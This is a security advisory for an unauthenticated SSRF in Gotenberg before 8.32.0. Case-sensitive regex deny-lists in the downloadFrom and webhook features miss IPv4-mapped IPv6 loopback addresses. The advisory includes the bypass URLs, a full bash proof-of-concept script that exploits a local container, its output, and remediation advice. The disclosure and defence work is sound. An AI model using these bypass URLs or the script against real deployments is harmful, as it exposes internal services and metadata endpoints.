Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook
Published 7 May 2026 · Updated 25 Jun 2026
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Affected package
- Affected
- <8.32.0
- Fixed in
- 8.32.0
go get github.com/gotenberg/gotenberg/v8@v8.32.0Details
Summary
The default deny-lists used by Gotenberg's downloadFrom feature and webhook feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as http://[::ffff:127.0.0.1]:... and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.
Details
The issue originates from the shipped default deny-list regexes and the way those regexes are applied:
pkg/modules/api/api.go:198-200defines the defaultapi-download-from-deny-list.pkg/modules/webhook/webhook.go:41-43defines the defaultwebhook-deny-list.pkg/gotenberg/filter.go:20-69evaluates those patterns withregexp2using case-sensitive matching.
The attacker-controlled URL then reaches outbound request sinks:
pkg/modules/api/context.go:208-282- Reads attacker-supplied
downloadFrom. - Calls
gotenberg.FilterDeadline(...). - Issues an outbound GET with
retryablehttp.NewRequest(...)andclient.Do(...). pkg/modules/webhook/middleware.go:99-217- Reads
Gotenberg-Webhook-UrlandGotenberg-Webhook-Events-Url. - Calls
gotenberg.FilterDeadline(...). - Constructs a
clientfor outbound delivery. pkg/modules/webhook/client.go:39-152- Sends the success or error webhook request.
pkg/modules/webhook/client.go:155-216- Sends the webhook event request.
Why the bypass works:
1. The default deny-list only blocks lowercase http:// and https:// prefixes.
2. The filtering logic performs case-sensitive regex matching on the raw user input.
3. Go's HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like http://[::ffff:127.0.0.1]:18081/....
4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.
Confirmed bypass used during verification:
http://[::ffff:127.0.0.1]:18081/page_1.pdfhttp://[::ffff:127.0.0.1]:18082/uploadhttp://[::ffff:127.0.0.1]:18082/events
This is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate downloadFrom and webhook URL filtering paths.
PoC
One-command verification
From the repository root:
cd '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg' ./tmp/poc/verify_ssrf_poc.sh
What the script does:
1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.
2. Starts Gotenberg on 127.0.0.1:3000.
3. Starts an internal-only helper listener inside the same container network namespace.
4. Verifies downloadFrom SSRF by forcing Gotenberg to fetch a PDF from http://[::ffff:127.0.0.1]:18081/page_1.pdf.
5. Verifies webhook SSRF by forcing Gotenberg to POST to http://[::ffff:127.0.0.1]:18082/upload and http://[::ffff:127.0.0.1]:18082/events.
6. Writes evidence artifacts to disk.
Expected success output:
[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata [5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload PASS webhook: Gotenberg POSTed to an internal-only loopback listener
Evidence files created by the script:
/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log
Manual evidence commands
The following commands were run after the verifier completed successfully:
jq '.' '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json' cat '/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log'
Observed output:
{
"page_1.pdf": {
"CreateDate": "2025:02:17 14:46:38+00:00",
"FileType": "PDF",
"FileTypeExtension": "pdf",
"Linearized": "No",
"MIMEType": "application/pdf",
"ModifyDate": "2025:02:17 14:46:38+00:00",
"PDFVersion": 1.7,
"PageCount": 1,
"Producer": "PDFTron built-in office converter, V11.2.0-d27340a176\n",
"SourceFile": "/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf"
}
}POST /upload len=4363 content-type=application/pdf POST /events len=126 content-type=application/json
PoC Video:
https://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3
Interpretation:
- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.
- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.
verify_ssrf_poc.sh
#!/usr/bin/env bash
set -euo pipefail
ROOT="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)"
IMAGE="${IMAGE:-gotenberg-local-ssrf-poc:minimal}"
DOCKERFILE="${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}"
GOTENBERG_NAME="${GOTENBERG_NAME:-gotenberg-ssrf-poc}"
HELPER_NAME="${HELPER_NAME:-gotenberg-ssrf-helper}"
PORT="${PORT:-3000}"
ARTIFACT_DIR="${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}"
TEST_PDF="$ROOT/test/integration/testdata/page_1.pdf"
DOWNLOAD_JSON="$ARTIFACT_DIR/downloadfrom-metadata.json"
WEBHOOK_LOG="$ARTIFACT_DIR/webhook.log"
HELPER_SCRIPT="$ARTIFACT_DIR/internal_helper.py"
DOWNLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18081/page_1.pdf"
WEBHOOK_UPLOAD_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/upload"
WEBHOOK_EVENTS_BYPASS_URL="http://[::ffff:127.0.0.1]:18082/events"
PDF_ENGINE_FLAGS=(
"--pdfengines-merge-engines=qpdf"
"--pdfengines-split-engines=qpdf"
"--pdfengines-flatten-engines=qpdf"
"--pdfengines-convert-engines=qpdf"
"--pdfengines-read-metadata-engines=exiftool"
"--pdfengines-write-metadata-engines=exiftool"
"--pdfengines-encrypt-engines=qpdf"
"--pdfengines-embed-engines=qpdf"
"--pdfengines-read-bookmarks-engines=qpdf"
"--pdfengines-write-bookmarks-engines=qpdf"
"--pdfengines-watermark-engines=qpdf"
"--pdfengines-stamp-engines=qpdf"
"--pdfengines-rotate-engines=qpdf"
)
red() { printf '\033[31m%s\033[0m\n' "$*"; }
green() { printf '\033[32m%s\033[0m\n' "$*"; }
blue() { printf '\033[34m%s\033[0m\n' "$*"; }
cleanup() {
docker rm -f "$HELPER_NAME" >/dev/null 2>&1 || true
docker rm -f "$GOTENBERG_NAME" >/dev/null 2>&1 || true
}
fail() {
red "$1"
printf '\n--- gotenberg logs ---\n'
docker logs "$GOTENBERG_NAME" 2>/dev/null || true
printf '\n--- helper logs ---\n'
docker logs "$HELPER_NAME" 2>/dev/null || true
exit 1
}
trap cleanup EXIT
mkdir -p "$ARTIFACT_DIR"
: > "$WEBHOOK_LOG"
if [[ ! -f "$TEST_PDF" ]]; then
red "Missing test PDF: $TEST_PDF"
exit 1
fi
if [[ ! -f "$DOCKERFILE" ]]; then
red "Missing Dockerfile: $DOCKERFILE"
exit 1
fi
if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
blue "[1/6] Building slim verification image: $IMAGE"
docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null
else
blue "[1/6] Reusing existing image: $IMAGE"
fi
blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT"
cleanup
docker run -d --rm \
--name "$GOTENBERG_NAME" \
-p "$PORT:3000" \
"$IMAGE" \
--webhook-enable-sync-mode=true \
"${PDF_ENGINE_FLAGS[@]}" >/dev/null
for _ in $(seq 1 45); do
if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
break
fi
sleep 1
done
if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
fail "Gotenberg did not become healthy"
fi
cat > "$HELPER_SCRIPT" <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from threading import Event, Thread
PDF_PATH = Path("/srv/page_1.pdf")
LOG_PATH = Path("/work/webhook.log")
PDF_BYTES = PDF_PATH.read_bytes()
class DownloadHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/pdf")
self.send_header("Content-Disposition", 'attachment; filename="page_1.pdf"')
self.send_header("Content-Length", str(len(PDF_BYTES)))
self.end_headers()
self.wfile.write(PDF_BYTES)
def log_message(self, fmt, *args):
return
class WebhookHandler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get("Content-Length", "0"))
body = self.rfile.read(length)
with LOG_PATH.open("a", encoding="utf-8") as f:
f.write(
f"{self.command} {self.path} len={len(body)} "
f"content-type={self.headers.get('Content-Type', '')}\n"
)
self.send_response(200)
self.end_headers()
do_PATCH = do_POST
do_PUT = do_POST
def log_message(self, fmt, *args):
return
def serve(addr, handler):
HTTPServer(addr, handler).serve_forever()
Thread(target=serve, args=(("127.0.0.1", 18081), DownloadHandler), daemon=True).start()
Thread(target=serve, args=(("127.0.0.1", 18082), WebhookHandler), daemon=True).start()
print("internal helper ready", flush=True)
Event().wait()
PY
blue "[3/6] Starting internal-only helper inside the same network namespace"
docker run -d --rm \
--name "$HELPER_NAME" \
--network "container:$GOTENBERG_NAME" \
-v "$TEST_PDF:/srv/page_1.pdf:ro" \
-v "$ARTIFACT_DIR:/work" \
-v "$HELPER_SCRIPT:/app/internal_helper.py:ro" \
python:3.11-alpine \
python /app/internal_helper.py >/dev/null
for _ in $(seq 1 20); do
if docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
break
fi
sleep 1
done
if ! docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
fail "Internal helper did not start"
fi
blue "[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL"
download_status="$(
curl -sS \
-o "$DOWNLOAD_JSON" \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read" \
-F "downloadFrom=[{\"url\":\"$DOWNLOAD_BYPASS_URL\"}]"
)"
if [[ "$download_status" != "200" ]]; then
cat "$DOWNLOAD_JSON" 2>/dev/null || true
fail "downloadFrom verification failed with HTTP $download_status"
fi
if ! jq -e 'has("page_1.pdf")' "$DOWNLOAD_JSON" >/dev/null 2>&1; then
cat "$DOWNLOAD_JSON" || true
fail "downloadFrom verification failed: expected metadata for page_1.pdf"
fi
green "PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata"
blue "[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL"
webhook_status="$(
curl -sS \
-o /dev/null \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten" \
-H "Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL" \
-H "Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL" \
-F "files=@$TEST_PDF"
)"
if [[ "$webhook_status" != "204" ]]; then
fail "webhook verification failed with HTTP $webhook_status"
fi
if ! grep -q '^POST /upload ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /upload was not hit"
fi
if ! grep -q '^POST /events ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /events was not hit"
fi
green "PASS webhook: Gotenberg POSTed to an internal-only loopback listener"
blue "[6/6] Evidence files"
printf 'downloadFrom metadata: %s\n' "$DOWNLOAD_JSON"
printf 'webhook log: %s\n' "$WEBHOOK_LOG"
printf '\n--- downloadFrom metadata excerpt ---\n'
jq '{filename_present: has("page_1.pdf"), sample_keys: (."page_1.pdf" | keys[0:6])}' "$DOWNLOAD_JSON"
printf '\n--- webhook log ---\n'
cat "$WEBHOOK_LOG"
printf '\n'
green "Verification complete"
printf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\n'Impact
This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.
Affected users are operators who rely on the default downloadFrom and webhook deny-lists for SSRF protection. In practice, an attacker can:
- Read content from internal HTTP endpoints through
downloadFrom. - Trigger state-changing POST/PATCH/PUT requests through the
webhookfeature. - Reach services bound only to localhost from the perspective of the Gotenberg host or container.
Remediation
1. Normalize and structurally validate URLs before any allow-list or deny-list decision.
Parse with net/url, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.
2. Replace regex-only private-address filtering with resolved IP validation.
Resolve the hostname, evaluate every resolved IP with net/netip, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.
3. Reconsider the security default for outbound URL features.
Either disable downloadFrom and webhook by default, or ship a strict default policy that only allows http/https plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to downloadFrom, webhook, error URLs, and event URLs.
Is GHSA-4vmc-gm8v-m35h in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected github.com/gotenberg/gotenberg/v8, and gives you the command that fixes it.
More advisories for github.com/gotenberg/gotenberg/v8
- LowCVE-2026-42589Gotenberg has Unauthenticated RCE via ExifTool Metadata Key Injection in github.com/gotenberg/gotenberg · 25 Jun 2026
- LowCVE-2026-45742Gotenberg has a Race Condition via Multipart `downloadFrom` Handling in github.com/gotenberg/gotenberg · 25 Jun 2026
- LowCVE-2026-40281Gotenberg has ExifTool stdin argument injection via metadata value newlines (bypass of key sanitization fix) in github.com/gotenberg/gotenberg · 25 Jun 2026
- LowGO-2026-5587Gotenberg has incomplete fix for ExifTool arbitrary file write: case-insensitive bypass and missing HardLink/SymLink tags in github.com/gotenberg/gotenberg · 25 Jun 2026
- LowCVE-2026-42594Gotenberg has an unauthenticated denial of service via echo.Context pool reuse in webhook async goroutine in github.com/gotenberg/gotenberg · 25 Jun 2026
- LowCVE-2026-42591Gotenberg has a Server-Side Request Forgery (SSRF) Issue in github.com/gotenberg/gotenberg · 25 Jun 2026
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.